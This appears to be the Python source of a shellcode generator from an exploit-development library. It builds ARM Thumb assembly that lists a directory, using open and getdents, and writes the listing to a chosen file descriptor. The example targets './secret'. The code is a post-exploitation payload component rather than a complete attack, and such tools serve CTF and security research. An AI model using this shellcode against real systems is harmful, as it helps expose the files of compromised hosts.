Source code for shellcodes.thumb.ls
# ls like *NIX command
import open_file
import getdents
import read_from_stack
[docs]def generate(filepath, out_fd):
"""
`ls` a directory list like UNIX Command in thumb mode
arguments:
filepath (str) : target directory name
out_fd (int/str): out file descriptor
backup:
r6 reg indicates to file descriptor
"""
sc = ""
sc += open_file.generate(filepath)
sc += "sub r4, r4, r4\n"
sc += "loop_1:\n"
sc += getdents.generate(in_fd='r6') + '\n'
sc += """
cmp r0, r4
ble after_1
"""
sc += read_from_stack.generate(out_fd, size='r0') + '\n'
sc += """
cmp r0, r4
bgt loop_1
after_1:
"""
return sc
if __name__ == '__main__':
print generate('./secret', 4)